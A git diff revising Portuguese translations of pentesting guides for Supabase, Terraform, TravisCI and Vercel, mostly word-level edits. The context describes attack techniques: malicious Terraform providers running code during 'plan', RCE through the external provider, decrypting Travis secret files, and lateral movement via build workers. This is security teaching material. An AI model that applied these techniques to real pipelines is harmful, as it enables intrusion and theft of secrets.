 - A conexão S3 é dada com uma URL como: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
 - É possível **solicitar uma chave de acesso S3** que é formada por um `access key ID` (por exemplo, `a37d96544d82ba90057e0e06131d0a7b`) e uma `secret access key` (por exemplo, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
 
-## Funções de Edge
+## Funções Edge
 
-É possível **armazenar segredos** no supabase também, que serão **acessíveis por funções de edge** (elas podem ser criadas e excluídas pela web, mas não é possível acessar seu valor diretamente).
+É possível **armazenar segredos** no supabase também, que serão **acessíveis por funções edge** (elas podem ser criadas e excluídas pela web, mas não é possível acessar seu valor diretamente).
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 767d496ae..dadbcb32d 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-[Dos docs:](https://developer.hashicorp.com/terraform/intro)
+[Dos documentos:](https://developer.hashicorp.com/terraform/intro)
 
 HashiCorp Terraform é uma **ferramenta de infraestrutura como código** que permite definir tanto **recursos em nuvem quanto locais** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo de seu ciclo de vida. O Terraform pode gerenciar componentes de baixo nível, como computação, armazenamento e recursos de rede, bem como componentes de alto nível, como entradas DNS e recursos SaaS.
 
@@ -18,7 +18,7 @@ A HashiCorp e a comunidade Terraform já escreveram **mais de 1700 provedores**
 
 O fluxo de trabalho central do Terraform consiste em três etapas:
 
-- **Escrever:** Você define recursos, que podem estar em vários provedores e serviços de nuvem. Por exemplo, você pode criar uma configuração para implantar um aplicativo em máquinas virtuais em uma rede de Nuvem Privada Virtual (VPC) com grupos de segurança e um balanceador de carga.
+- **Escrever:** Você define recursos, que podem estar em vários provedores de nuvem e serviços. Por exemplo, você pode criar uma configuração para implantar um aplicativo em máquinas virtuais em uma rede de Nuvem Privada Virtual (VPC) com grupos de segurança e um balanceador de carga.
 - **Planejar:** O Terraform cria um plano de execução descrevendo a infraestrutura que criará, atualizará ou destruirá com base na infraestrutura existente e em sua configuração.
 - **Aplicar:** Após a aprovação, o Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências de recursos. Por exemplo, se você atualizar as propriedades de uma VPC e mudar o número de máquinas virtuais nessa VPC, o Terraform recriará a VPC antes de escalar as máquinas virtuais.
 
@@ -38,7 +38,7 @@ No entanto, o terraform é um **componente muito sensível** a comprometer porqu
 
 A principal maneira de um atacante conseguir comprometer o sistema onde o terraform está sendo executado é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas serão **interpretadas**.
 
-Na verdade, existem soluções que **executam o terraform plan/apply automaticamente após um PR** ser criado, como **Atlantis**:
+Na verdade, existem soluções que **executam terraform plan/apply automaticamente após um PR** ser criado, como **Atlantis**:
 
 {{#ref}}
 atlantis-security.md
@@ -75,7 +75,7 @@ version = "1.0"
 
 provider "evil" {}
 ```
-O provedor é baixado no `init` e executará o código malicioso quando `plan` for executado
+O provedor é baixado no `init` e executará o código malicioso quando `plan` for executado.
 
 Você pode encontrar um exemplo em [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
 
@@ -148,9 +148,9 @@ Porque o terraform verá que o recurso não deveria existir, ele o destruirá (s
 ]
 },
 ```
-2. **Modifique o recurso para excluir de uma maneira que não seja possível atualizar (para que ele seja excluído e recriado)**
+2. **Modifique o recurso para deletar de uma maneira que não seja possível atualizar (para que ele seja deletado e recriado)**
 
-Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluir e recriá-la.
+Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform deletar e recriá-la.
 
 ### RCE
 
@@ -169,7 +169,7 @@ Também é possível [criar um provedor personalizado](https://developer.hashico
 ```
 ### Substituir provedor na lista negra
 
-No caso de você encontrar uma situação onde `hashicorp/external` foi colocado na lista negra, você pode re-implementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. Você também pode publicar seu próprio fork ou re-implementação.
+Caso você encontre uma situação onde `hashicorp/external` foi colocado na lista negra, você pode reimplementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. Você também pode publicar seu próprio fork ou reimplementação.
 ```terraform
 terraform {
 required_providers {
@@ -195,7 +195,7 @@ Snyk oferece uma solução abrangente de escaneamento de Infrastructure as Code
 - **Recursos:**
 - Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade.
 - Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket).
-- Pull requests de correção automatizadas.
+- Pull requests automáticas de correção.
 - Conselhos detalhados de remediação.
 - **Inscreva-se:** Crie uma conta em [Snyk](https://snyk.io/).
 ```bash
@@ -210,7 +210,7 @@ snyk iac test /path/to/terraform/code
 
 Ele escaneia a infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo.
 
-Ele realiza [análise de composição de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes de código aberto e imagens para Vulnerabilidades e Exposições Comuns (CVEs).
+Ele realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes de código aberto e imagens para Vulnerabilidades e Exposições Comuns (CVEs).
 ```bash
 pip install checkov
 checkov -d /path/to/folder
@@ -227,7 +227,7 @@ Do [**docs**](https://github.com/terraform-compliance/cli): `terraform-complianc
 - **segregação de deveres:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.
 
 > [!NOTE]
-> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá executar o `terraform plan` e rodar esta ferramenta.
+> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá executar o `terraform plan` e usar esta ferramenta.
 ```bash
 pip install terraform-compliance
 terraform plan -out=plan.out
@@ -265,7 +265,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 Do [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador de código estático para Infraestrutura como Código. Terrascan permite que você:
 
 - Escaneie perfeitamente a infraestrutura como código em busca de configurações incorretas.
-- Monitore a infraestrutura em nuvem provisionada para alterações de configuração que introduzem desvios de postura e permite reverter para uma postura segura.
+- Monitore a infraestrutura em nuvem provisionada para mudanças de configuração que introduzem desvios de postura e permite reverter para uma postura segura.
 - Detecte vulnerabilidades de segurança e violações de conformidade.
 - Mitigue riscos antes de provisionar infraestrutura nativa em nuvem.
 - Oferece flexibilidade para rodar localmente ou integrar com seu CI\CD.
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 82f219624..710b82045 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Pull requests do Github são bem-vindos explicando como (ab)usar essas plataformas do ponto de vista de um atacante
+PRs do Github são bem-vindos explicando como (mal)utilizar essas plataformas do ponto de vista de um atacante
 
 - Drone
 - TeamCity
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index 7e565c381..831f26db4 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -4,7 +4,7 @@
 
 ## O que é TravisCI
 
-**Travis CI** é um serviço de **integração contínua** **hospedado** ou em **instalações próprias** usado para construir e testar projetos de software hospedados em várias **plataformas git diferentes**.
+**Travis CI** é um serviço de **integração contínua** **hospedado** ou **local** usado para construir e testar projetos de software hospedados em várias **plataformas git diferentes**.
 
 {{#ref}}
 basic-travisci-information.md
@@ -20,12 +20,12 @@ Para lançar um ataque, você primeiro precisa saber como acionar uma construç
 
 #### Cron Jobs
 
-Se você tiver acesso à aplicação web, pode **definir crons para executar a construção**, isso pode ser útil para persistência ou para acionar uma construção:
+Se você tiver acesso à aplicação web, pode **configurar crons para executar a construção**, isso pode ser útil para persistência ou para acionar uma construção:
 
 ![](<../../images/image (243).png>)
 
 > [!NOTE]
-> Parece que não é possível definir crons dentro do `.travis.yml` de acordo com [isso](https://github.com/travis-ci/travis-ci/issues/9162).
+> Parece que não é possível configurar crons dentro do `.travis.yml` de acordo com [isso](https://github.com/travis-ci/travis-ci/issues/9162).
 
 ### PR de Terceiros
 
@@ -39,18 +39,18 @@ Como explicado na página de [**informações básicas**](basic-travisci-informa
 
 - Para **enumerar segredos** configurados como **Variáveis de Ambiente**, vá para as **configurações** do **projeto** e verifique a lista. No entanto, note que todas as variáveis de ambiente do projeto definidas aqui aparecerão ao acionar uma construção.
 - Para enumerar os **segredos criptografados personalizados**, o melhor que você pode fazer é **verificar o arquivo `.travis.yml`**.
-- Para **enumerar arquivos criptografados**, você pode verificar por **arquivos `.enc`** no repositório, por linhas semelhantes a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` no arquivo de configuração, ou por **iv e chaves criptografadas** nas **Variáveis de Ambiente** como:
+- Para **enumerar arquivos criptografados**, você pode procurar por **arquivos `.enc`** no repositório, por linhas semelhantes a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` no arquivo de configuração, ou por **iv e chaves criptografadas** nas **Variáveis de Ambiente** como:
 
 ![](<../../images/image (81).png>)
 
 ### TODO:
 
 - Exemplo de construção com shell reverso rodando em Windows/Mac/Linux
-- Exemplo de construção vazando a env codificada em base64 nos logs
+- Exemplo de construção vazando a variável de ambiente codificada em base64 nos logs
 
 ### TravisCI Enterprise
 
-Se um atacante acabar em um ambiente que usa **TravisCI enterprise** (mais informações sobre o que é isso na [**informação básica**](basic-travisci-information.md#travisci-enterprise)), ele poderá **acionar construções no Worker.** Isso significa que um atacante poderá se mover lateralmente para aquele servidor do qual ele poderá ser capaz de:
+Se um atacante acabar em um ambiente que usa **TravisCI enterprise** (mais informações sobre o que é isso na [**informação básica**](basic-travisci-information.md#travisci-enterprise)), ele poderá **acionar construções no Worker.** Isso significa que um atacante poderá se mover lateralmente para aquele servidor do qual ele poderá:
 
 - escapar para o host?
 - comprometer kubernetes?
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index d48563904..aba09f0ac 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -4,7 +4,7 @@
 
 ## Acesso
 
-TravisCI integra-se diretamente com diferentes plataformas git, como Github, Bitbucket, Assembla e Gitlab. Ele pedirá ao usuário que conceda permissões ao TravisCI para acessar os repositórios que deseja integrar ao TravisCI.
+TravisCI integra-se diretamente com diferentes plataformas git, como Github, Bitbucket, Assembla e Gitlab. Ele pedirá ao usuário que conceda permissões ao TravisCI para acessar os repositórios que deseja integrar com o TravisCI.
 
 Por exemplo, no Github, ele pedirá as seguintes permissões:
 
@@ -81,7 +81,7 @@ Travis CI Enterprise é uma **versão on-prem do Travis CI**, que você pode imp
 1. Uma infraestrutura onde uma imagem docker contendo o **Worker e uma imagem de build vinculada podem ser implantadas**.
 2. Conectividade com certos componentes dos Serviços Centrais do Travis CI - veja o [Configurando o Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para mais detalhes.
 
-A quantidade de Workers TCI implantados e imagens de ambiente de build OS determinará a capacidade total concorrente da implantação do Travis CI Enterprise em sua infraestrutura.
+A quantidade de Workers TCI implantados e imagens de ambiente de build determinará a capacidade total concorrente da implantação do Travis CI Enterprise em sua infraestrutura.
 
 ![](<../../images/image (199).png>)
 
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 216f12096..c35104ea0 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -4,9 +4,9 @@
 
 ## Informações Básicas
 
-No Vercel, um **Time** é o **ambiente** completo que pertence a um cliente e um **projeto** é uma **aplicação**.
+No Vercel, uma **Equipe** é o ambiente completo que pertence a um cliente e um **projeto** é uma **aplicação**.
 
-Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuário com **permissão de função Visualizador** ou pelo menos **permissão de Visualizador de Projeto sobre os projetos** para verificar (caso você só precise verificar os projetos e não a configuração do Time também).
+Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuário com **permissão de função Visualizador** ou pelo menos **permissão de visualizador de projeto sobre os projetos** para verificar (caso você só precise verificar os projetos e não a configuração da Equipe também).
 
 ## Configurações do Projeto
 
@@ -17,7 +17,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 #### Configurações de Segurança:
 
 - **Transferência**
-- **Má configuração:** Permite transferir o projeto para outro time
+- **Má configuração:** Permite transferir o projeto para outra equipe
 - **Risco:** Um atacante pode roubar o projeto
 - **Excluir Projeto**
 - **Má configuração:** Permite excluir o projeto&#x20;
@@ -36,9 +36,9 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 - **Risco:** Sequestro de domínio, interceptação de tráfego e ataques de phishing.
 - **Gerenciamento de Certificados SSL/TLS**
 - **Má configuração:** Uso de certificados SSL/TLS fracos ou expirados.
-- **Risco:** Vulnerável a ataques de man-in-the-middle (MITM), comprometendo a integridade e confidencialidade dos dados.
+- **Risco:** Vulnerável a ataques man-in-the-middle (MITM), comprometendo a integridade e confidencialidade dos dados.
 - **Implementação de DNSSEC**
-- **Má configuração:** Falha em habilitar DNSSEC ou configurações incorretas de DNSSEC.
+- **Má configuração:** Falha em habilitar DNSSEC ou configurações DNSSEC incorretas.
 - **Risco:** Aumento da suscetibilidade a ataques de spoofing de DNS e envenenamento de cache.
 - **Ambiente usado por domínio**
 - **Má configuração:** Alterar o ambiente usado pelo domínio em produção.
@@ -74,7 +74,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 - **Má configuração:** Se desativado (padrão), é possível ler os valores dos segredos gerados.
 - **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis.
 - **Variáveis de Ambiente Compartilhadas**
-- **Má configuração:** Estas são variáveis de ambiente definidas no nível do Time e também podem conter informações sensíveis.
+- **Má configuração:** Estas são variáveis de ambiente definidas no nível da Equipe e também podem conter informações sensíveis.
 - **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis.
 
 ---
@@ -86,7 +86,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 #### Configurações de Segurança:
 
 - **Etapa de Build Ignorada (TODO)**
-- **Má configuração:** Parece que esta opção permite configurar um script/ comandos bash que serão executados quando um novo commit for enviado ao Github, o que poderia permitir RCE.
+- **Má configuração:** Parece que esta opção permite configurar um script/commands bash que será executado quando um novo commit for enviado ao Github, o que poderia permitir RCE.
 - **Risco:** TBD
 
 ---
@@ -117,7 +117,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 
 **Autenticação Vercel**
 
-- **Má configuração:** Desabilitar a autenticação ou não impor verificações de membros do time.
+- **Má configuração:** Desabilitar a autenticação ou não impor verificações de membros da equipe.
 - **Risco:** Usuários não autorizados podem acessar implantações, levando a vazamentos de dados ou uso indevido da aplicação.
 
 **Bypass de Proteção para Automação**
@@ -130,9 +130,9 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 - **Má configuração:** Compartilhar links indiscriminadamente ou falhar em revogar links desatualizados.
 - **Risco:** Acesso não autorizado a implantações protegidas, contornando autenticação e restrições de IP.
 
-**Lista de Permissão de OPTIONS**
+**Lista de Permissões OPTIONS**
 
-- **Má configuração:** Permitir caminhos ou endpoints sensíveis de forma excessivamente ampla.
+- **Má configuração:** Permitir caminhos ou endpoints sensíveis excessivamente amplos.
 - **Risco:** Atacantes podem explorar caminhos desprotegidos para realizar ações não autorizadas ou contornar verificações de segurança.
 
 **Proteção por Senha**
@@ -185,17 +185,17 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 
 - **Desativar Cron Job**
 - **Má configuração:** Permite desativar cron jobs declarados dentro do código
-- **Risco:** Potencial interrupção do serviço (dependendo do que os cron jobs eram destinados)
+- **Risco:** Interrupção potencial do serviço (dependendo do que os cron jobs eram destinados)
 
 ---
 
 ### Log Drains
 
-**Propósito:** Configurar serviços de logging externos para capturar e armazenar logs da aplicação para monitoramento e auditoria.
+**Propósito:** Configurar serviços de logging externos para capturar e armazenar logs de aplicação para monitoramento e auditoria.
 
 #### Configurações de Segurança:
 
-- Nada (gerenciado a partir das configurações de times)
+- Nada (gerenciado a partir das configurações da equipe)
 
 ---
 
@@ -215,7 +215,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 - **Má configuração:** Permitir pull requests não autorizados sem revisões adequadas.
 - **Risco:** Código malicioso pode ser mesclado ao código-fonte, introduzindo vulnerabilidades ou backdoors.
 
-**Acesso Seguro ao Backend com Federação OIDC**
+**Acesso Seguro ao Backend com OIDC Federation**
 
 - **Má configuração:** Configuração incorreta dos parâmetros OIDC ou uso de URLs de emissor inseguras.
 - **Risco:** Acesso não autorizado a serviços de backend através de fluxos de autenticação falhos.
@@ -234,7 +234,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 
 ### Avançado
 
-**Propósito:** Acesso a configurações adicionais do projeto para ajustar configurações e aprimorar a segurança.
+**Propósito:** Acesso a configurações adicionais do projeto para ajuste fino de configurações e aprimoramento da segurança.
 
 #### Configurações de Segurança:
 
@@ -268,26 +268,26 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 ### Fonte
 
 - **Má configuração:** Permite acesso para ler o código-fonte completo da aplicação
-- **Risco:** Potencial exposição de informações sensíveis
+- **Risco:** Exposição potencial de informações sensíveis
 
-### Proteção de Desvio
+### Proteção contra Desvio
 
 - **Má configuração:** Esta proteção garante que a aplicação do cliente e do servidor estejam sempre usando a mesma versão, para que não haja desincronizações onde o cliente usa uma versão diferente do servidor e, portanto, não se entendem.
 - **Risco:** Desabilitar isso (se habilitado) pode causar problemas de DoS em novas implantações no futuro
 
 ---
 
-## Configurações do Time
+## Configurações da Equipe
 
 ### Geral
 
 #### Configurações de Segurança:
 
 - **Transferência**
-- **Má configuração:** Permite transferir todos os projetos para outro time
+- **Má configuração:** Permite transferir todos os projetos para outra equipe
 - **Risco:** Um atacante pode roubar os projetos
 - **Excluir Projeto**
-- **Má configuração:** Permite excluir o time com todos os projetos&#x20;
+- **Má configuração:** Permite excluir a equipe com todos os projetos&#x20;
 - **Risco:** Excluir os projetos
 
 ---
@@ -298,7 +298,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 
 - **Limite de Custo do Speed Insights**
 - **Má configuração:** Um atacante pode aumentar esse número
-- **Risco:** Custos aumentados
+- **Risco:** Aumento de custos
 
 ---
 
@@ -310,19 +310,19 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
 - **Má configuração:** Um atacante pode manter persistência convidando uma conta que ele controla
 - **Risco:** Persistência do atacante
 - **Funções**
-- **Má configuração:** Conceder muitas permissões a pessoas que não precisam aumenta o risco da configuração do Vercel. Verifique todos os papéis possíveis em [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
-- **Risco**: Aumentar a exposição do Time Vercel
+- **Má configuração:** Conceder permissões excessivas a pessoas que não precisam aumenta o risco da configuração do Vercel. Verifique todos os papéis possíveis em [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Risco**: Aumentar a exposição da Equipe Vercel
 
 ---
 
 ### Grupos de Acesso
 
-Um **Grupo de Acesso** no Vercel é uma coleção de projetos e membros do time com atribuições de função predefinidas, permitindo gerenciamento de acesso centralizado e simplificado em vários projetos.
+Um **Grupo de Acesso** no Vercel é uma coleção de projetos e membros da equipe com atribuições de função predefinidas, permitindo gerenciamento de acesso centralizado e simplificado em vários projetos.
 
 **Possíveis Má Configurações:**
 
 - **Permissões Excessivas para Membros:** Atribuir funções com mais permissões do que o necessário, levando a acesso ou ações não autorizadas.
-- **Atribuições de Função Improprias:** Atribuir incorretamente funções que não se alinham com as responsabilidades dos membros do time, causando escalonamento de privilégios.
+- **Atribuições de Função Improprias:** Atribuir incorretamente funções que não se alinham com as responsabilidades dos membros da equipe, causando escalonamento de privilégios.
 - **Falta de Segregação de Projetos:** Falha em separar projetos sensíveis, permitindo acesso mais amplo do que o pretendido.
 - **Gerenciamento Insuficiente de Grupos:** Não revisar ou atualizar regularmente os Grupos de Acesso, resultando em permissões de acesso desatualizadas ou inadequadas.
 - **Definições de Função Inconsistentes:** Usar definições de função inconsistentes ou pouco claras em diferentes Grupos de Acesso, levando a confusão e lacunas de segurança.
@@ -343,36 +343,36 @@ Um **Grupo de Acesso** no Vercel é uma coleção de projetos e membros do time
 
 #### Configurações de Segurança:
 
-- **Domínio de Email do Time:** Quando configurado, esta configuração convida automaticamente Contas Pessoais do Vercel com endereços de email terminando no domínio especificado (por exemplo, `mydomain.com`) a se juntarem ao seu time ao se inscreverem e no painel.
+- **Domínio de Email da Equipe:** Quando configurado, esta configuração convida automaticamente Contas Pessoais do Vercel com endereços de email terminando no domínio especificado (por exemplo, `mydomain.com`) a se juntarem à sua equipe ao se inscreverem e no painel.
 - **Má configuração:**&#x20;
-- Especificar o domínio de email errado ou um domínio com erro de ortografia na configuração do Domínio de Email do Time.
+- Especificar o domínio de email errado ou um domínio com erro de ortografia na configuração do Domínio de Email da Equipe.
 - Usar um domínio de email comum (por exemplo, `gmail.com`, `hotmail.com`) em vez de um domínio específico da empresa.
 - **Riscos:**
-- **Acesso Não Autorizado:** Usuários com endereços de email de domínios não pretendidos podem receber convites para se juntar ao seu time.
+- **Acesso Não Autorizado:** Usuários com endereços de email de domínios não intencionais podem receber convites para se juntar à sua equipe.
 - **Exposição de Dados:** Exposição potencial de informações sensíveis do projeto a indivíduos não autorizados.
-- **Escopos Git Protegidos:** Permite adicionar até 5 escopos Git ao seu time para impedir que outros times do Vercel implantem repositórios do escopo protegido. Vários times podem especificar o mesmo escopo, permitindo acesso a ambos os times.
+- **Escopos Git Protegidos:** Permite adicionar até 5 escopos Git à sua equipe para impedir que outras equipes do Vercel implantem repositórios do escopo protegido. Várias equipes podem especificar o mesmo escopo, permitindo acesso a ambas as equipes.
 - **Má configuração:** Não adicionar escopos Git críticos à lista protegida.
 - **Riscos:**
-- **Implantações Não Autorizadas:** Outros times podem implantar repositórios dos escopos Git da sua organização sem autorização.
-- **Exposição de Propriedade Intelectual:** Código proprietário pode ser implantado e acessado fora do seu time.
-- **Políticas de Variáveis de Ambiente:** Impõe políticas para a criação e edição das variáveis de ambiente do time. Especificamente, você pode impor que todas as variáveis de ambiente sejam criadas como **Variáveis de Ambiente Sensíveis**, que só podem ser descriptografadas pelo sistema de implantação do Vercel.
+- **Implantações Não Autorizadas:** Outras equipes podem implantar repositórios dos escopos Git da sua organização sem autorização.
+- **Exposição de Propriedade Intelectual:** Código proprietário pode ser implantado e acessado fora da sua equipe.
+- **Políticas de Variáveis de Ambiente:** Impõe políticas para a criação e edição das variáveis de ambiente da equipe. Especificamente, você pode impor que todas as variáveis de ambiente sejam criadas como **Variáveis de Ambiente Sensíveis**, que só podem ser descriptografadas pelo sistema de implantação do Vercel.
 - **Má configuração:** Manter a imposição de variáveis de ambiente sensíveis desativada.
 - **Riscos:**
-- **Exposição de Segredos:** Variáveis de ambiente podem ser visualizadas ou editadas por membros não autorizados do time.
+- **Exposição de Segredos:** Variáveis de ambiente podem ser visualizadas ou editadas por membros não autorizados da equipe.
 - **Vazamento de Dados:** Informações sensíveis como chaves de API e credenciais podem ser vazadas.
-- **Log de Auditoria:** Fornece uma exportação da atividade do time por até os últimos 90 dias. Logs de auditoria ajudam a monitorar e rastrear ações realizadas pelos membros do time.
+- **Registro de Auditoria:** Fornece uma exportação da atividade da equipe por até os últimos 90 dias. Registros de auditoria ajudam a monitorar e rastrear ações realizadas pelos membros da equipe.
 - **Má configuração:**\
-Conceder acesso aos logs de auditoria a membros não autorizados do time.
+Conceder acesso aos registros de auditoria a membros não autorizados da equipe.
 - **Riscos:**
 - **Violação de Privacidade:** Exposição de atividades e dados sensíveis dos usuários.
-- **Manipulação de Logs:** Atores maliciosos podem alterar ou excluir logs para encobrir suas trilhas.
-- **SAML Single Sign-On:** Permite personalização da autenticação SAML e sincronização de diretórios para o seu time, permitindo integração com um Provedor de Identidade (IdP) para autenticação e gerenciamento de usuários centralizados.
-- **Má configuração:** Um atacante pode backdoor na configuração do Time configurando parâmetros SAML como Entity ID, SSO URL ou impressões digitais de certificado.
+- **Manipulação de Registros:** Atores maliciosos podem alterar ou excluir registros para encobrir suas trilhas.
+- **SAML Single Sign-On:** Permite personalização da autenticação SAML e sincronização de diretórios para sua equipe, permitindo integração com um Provedor de Identidade (IdP) para autenticação e gerenciamento de usuários centralizados.
+- **Má configuração:** Um atacante pode backdoor a configuração da Equipe configurando parâmetros SAML como Entity ID, SSO URL ou impressões digitais de certificado.
 - **Risco:** Manter persistência
-- **Visibilidade de Endereço IP:** Controla se endereços IP, que podem ser considerados informações pessoais sob certas leis de proteção de dados, são exibidos em consultas de Monitoramento e Log Drains.
+- **Visibilidade de Endereço IP:** Controla se os endereços IP, que podem ser considerados informações pessoais sob certas leis de proteção de dados, são exibidos em consultas de Monitoramento e Log Drains.
 - **Má configuração:** Deixar a visibilidade do endereço IP habilitada sem necessidade.
 - **Riscos:**
-- **Violação de Privacidade:** Não conformidade com regulamentos de proteção de dados como GDPR.
+- **Violação de Privacidade:** Não conformidade com regulamentos de proteção de dados como o GDPR.
 - **Repercussões Legais:** Multas e penalidades potenciais por manuseio inadequado de dados pessoais.
 - **Bloqueio de IP:** Permite a configuração de endereços IP e intervalos CIDR que o Vercel deve bloquear solicitações. Solicitações bloqueadas não contribuem para sua cobrança.
 - **Má configuração:** Poderia ser abusada por um atacante para permitir tráfego malicioso ou bloquear tráfego legítimo.
@@ -384,22 +384,22 @@ Conceder acesso aos logs de auditoria a membros não autorizados do time.
 
 ### Computação Segura
 
-**Vercel Secure Compute** permite conexões seguras e privadas entre Funções Vercel e ambientes de backend (por exemplo, bancos de dados) estabelecendo redes isoladas com endereços IP dedicados. Isso elimina a necessidade de expor serviços de backend publicamente, aprimorando a segurança, conformidade e privacidade.
+**Vercel Secure Compute** permite conexões seguras e privadas entre Funções Vercel e ambientes de backend (por exemplo, bancos de dados) estabelecendo redes isoladas com endereços IP dedicados. Isso elimina a necessidade de expor serviços de backend publicamente, melhorando a segurança, conformidade e privacidade.
 
 #### **Possíveis Má Configurações e Riscos**
 
-1. **Seleção Incorreta de Região AWS**
+1. **Seleção Incorreta da Região AWS**
 - **Má configuração:** Escolher uma região AWS para a rede Secure Compute que não corresponda à região dos serviços de backend.
 - **Risco:** Aumento da latência, potenciais problemas de conformidade de residência de dados e desempenho degradado.
 2. **Blocos CIDR Sobrepostos**
 - **Má configuração:** Selecionar blocos CIDR que se sobrepõem a VPCs existentes ou outras redes.
 - **Risco:** Conflitos de rede levando a conexões falhadas, acesso não autorizado ou vazamento de dados entre redes.
-3. **Configuração Impropria de Peering VPC**
+3. **Configuração Incorreta de Peering VPC**
 - **Má configuração:** Configuração incorreta do peering VPC (por exemplo, IDs de VPC errados, atualizações incompletas da tabela de rotas).
 - **Risco:** Acesso não autorizado à infraestrutura de backend, conexões seguras falhadas e potenciais vazamentos de dados.
 4. **Atribuições Excessivas de Projetos**
 - **Má configuração:** Atribuir vários projetos a uma única rede Secure Compute sem o devido isolamento.
-- **Risco:** Exposição de IP compartilhado aumenta a superfície de ataque, permitindo que projetos comprometidos afetem outros.
+- **Risco:** Exposição compartilhada de IP aumenta a superfície de ataque, permitindo que projetos comprometidos afetem outros.
